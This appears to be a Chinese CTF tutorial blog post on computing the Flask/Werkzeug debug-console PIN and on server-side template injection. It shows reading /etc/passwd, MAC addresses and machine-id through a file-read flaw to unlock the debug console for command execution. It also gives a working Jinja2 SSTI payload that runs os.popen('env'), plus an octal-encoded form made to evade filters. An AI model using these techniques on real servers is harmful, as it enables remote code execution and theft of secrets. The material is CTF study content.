5 str(uuid.getnode()) -->电脑上mac地址
6、get_machine_id() -->根据操作系统不同,有四种获取方式

1、获取用户名username

import getpass
username getpass.getuser()
print(username)
生成username

2、获取app对象name属性
getattr(app,"name",type(app).name)

from flask import Flask
app=Flask(name)
print(getattr(app,"__name__",type(app).__name__))
获取的是当前app对象的__name__属性,
若不存在则获取类的__name__属性,
默认为Flask

3、获取app对象module属性

import sys
from flask import Flask
import typing as t
app=Flask(__name__)
modname =getattr(app,"__module__",t.cast(object,
app).__class__.__module__)
#取的是app对象的__module__属性,若不存在的话取类的__module__属性,默认为flask.app
mod=sys.modules.get(modname)
print(mod)

4、mod的__file__属性app.py文件所在路径

import sys
from flask import Flask
import typing as t
app=Flask(__name__)

modname=getattr(app,"__module__",t.cast(object,app).__class__.__module__)
mod=sys.modules.get(modname)

print(getattr(mod,"__file__",None))

输出:C:\Users\mcc06\Downloads\sstilabs-master\venv\lib\site-packages\flask\app.py

5、uuid
实际上就是当前网卡的物理地址的整型

import uuid
print(str(hex(uuid.getnode())))

6、get_machine_id获取
Python flask版本不同,读取顺序也不同

Linux:
/etc/machine-id,/proc/sys/kernl/random/boot_id  #前者固定后者不固定

docker:
/proc/self/cgroup   #正则分割

macOS:
ioreg -c IOPlatformExpertDevice -d 2  #"serial-number'"=<{ID}部分

windows:
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid  #注册表

pin码计算ctf题目

pin码主要由六个参数构成
1、username->执行代码时候的用户名
2、getattr(app,"name",app.class.name)-->固定值默认Flask
3、modname->固定值默认flask.app
4、getattr(mod,"file",None) -->app.py文件所在路径
5 str(uuid.getnode()) -->电脑上mac地址
6、get_machine_id() -->根据操作系统不同,有四种获取方式

有文件包含或文件读取的漏洞,且开启debug功能

点击Read somethings:会跳转页面

url可以进行修改,从而读取服务器部分文件

1、获取username用户名:

?url=etc/password里可以看到用户名,UID:1000以上一般为人为创建

image-20240224210450-vv1i5g2

2、获取app.py文件所在路径:

未使用venv是固定值,可以在网上找到,如果使用venv的话,存在一个报错页面,会泄露出路径,并且可以获得python版本

http:www.example.com/debug

报错页面:

image-20240224210959-pepkets

注意:python2.7显示app.py但是实际上是app.pyc文件

所以我们要把路径的最后手动改成app.pyc

image-20240224213749-71s9vxj

3、获取uuid(mac地址的十进制取决于系统):

centos:/sys/class/net/ens33/address
ubunt:/sys/class/net/eth0/address

02:42:0a:00:03:04 #也可以通过burpsuit拦截数据获取

2482658870020 #必须要转换位十进制

4、获取machine_id(两个内容拼凑起来的):

/etc/machine-id
/proc/self/cgroup

image-20240224213405-d1fx0pz

5.结合获取的六个参数使用代码进行计算

知道python版本后去网上找计算代码

image-20240224214012-v1jbraf

6、提交pin码

提交pin码位置:

法一:

http:www.example.com/console

image-20240224212705-823f71c

法二:在有debug报错信息的前提

http:www.example.com/debug

image-20240224212846-p7zuv0f

点击右面的终端图标可以直接进入

7、进行,命令执行获取flag

在debug页面或者console页面均可进行命令执行

image-20240224213109-a0v72hl

八进制编码绕过

{{''.__class__.__bases__[0]['__subclasses__']()[133]['__init__']
['__globals__']['__builtins__']['eval']
('__import__("os").popen("env").read()')}}
这是以上命令转换的8进制形式
\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\042\\051\\056\\162\\145\\141\\144\\050\\051

标签:__,.__,set,入门,__.__,SSTI,class,attr
From: https://www.cnblogs.com/m1xian/p/18406744

相关文章

  • 大模型入门(六)—— RLHF微调大模型
    一、RLHF微调三阶段参考:https://huggingface.co/blog/rlhf1)使用监督数据微调语言模型,和fine-tuning一致。2)训练奖励模型奖励模型是输入一个文本序列,模型给出符合人类偏好的奖励数值,这个奖励数值对于后面的强化学习训练非常重要。构建奖励模型的训练数据一般是同一个数......
  • CTF入门教程(非常详细)从零基础入门到竞赛,看这一篇就够了!
       一、CTF简介CTF(CaptureTheFlag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的......
  • CTF入门教程(非常详细)从零基础入门到竞赛,看这一篇就够了!
       一、CTF简介CTF(CaptureTheFlag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的......
  • C++入门知识
    目录C++是什么C++关键字(c++98)命名空间(namespace)命名空间的定义 命名空间使用声明和定义 C++的输入输出缺省函数缺省函数是什么?全缺省半缺省注意一:半缺省只能从右向左给,并且不能中断 缺省函数不能同时在声明和定义中出现缺省的参数只能是全局的或者常数函数......
  • 【Python进阶】学习Python从入门到进阶,详细步骤,就看这一篇。文末附带项目演练!!!
    详细的Python学习路线1.Python基础Python安装和环境配置:学习如何在你的操作系统上安装Python,并配置开发环境。变量和数据类型:学习如何定义变量,以及Python中的基本数据类型,如整数、浮点数、字符串等。Python数据类型运算符和表达式:学习Python中的运算符,如算术运算符、比......
  • 【入门网安】想入门网络安全却不知道怎么入手,这篇文给你规划的明明白白的
    ......
  • Vue入门学习笔记-从入门到模版语法
    前言建议:建议学习HTML5+CSS3+JavaScript之后在学VueHTML和JavaScript需要着重学习,如果还学了jQuery更好Vue本身是基于JavaScript开发的框架,完全兼容JavaScript语法本学习笔记着重记录Vue语法和使用的相关特性,目的是为了后端开发人员快速上手Vue开发。 Vue和jQuery的区......
  • 《计算机毕设项目开发全攻略:从入门到精通》—— 权威教程,点赞、收藏、不容错过!
    文章目录前言一、明确项目需求二、构建数据库模型三、选择系统架构四、确定技术栈五、构建系统框架六、实现功能模块七、系统功能测试八、结语前言        关于如何选择一个合适的毕业设计题目,以及各类的项目参考,您可以查阅我之前分享的文章。文章的链接已......
  • 2024-第02周 预习、实验与作业:Java基础语法2、面向对象入门
    课前问题列表1.方法相关问题publicclassMain{staticvoidchangeStr(Stringx){x="xyz";}staticvoidchangeArr(String[]strs){for(inti=0;i<strs.length;i++){strs[i]=strs[i]+""+i;......
  • Winform C# 窗体应用程序简单入门
    搬运来源:https://blog.csdn.net/weixin_46262993/article/details/104169982?spm=1001.2014.3001.5502一、什么是Winform?WinForm是WindowsForm的简称,是基于.NETFramework平台的客户端(PC软件)开发技术,一般使用C#编程。C#WinForm编程需要创建「Windows窗体应用程序」项目......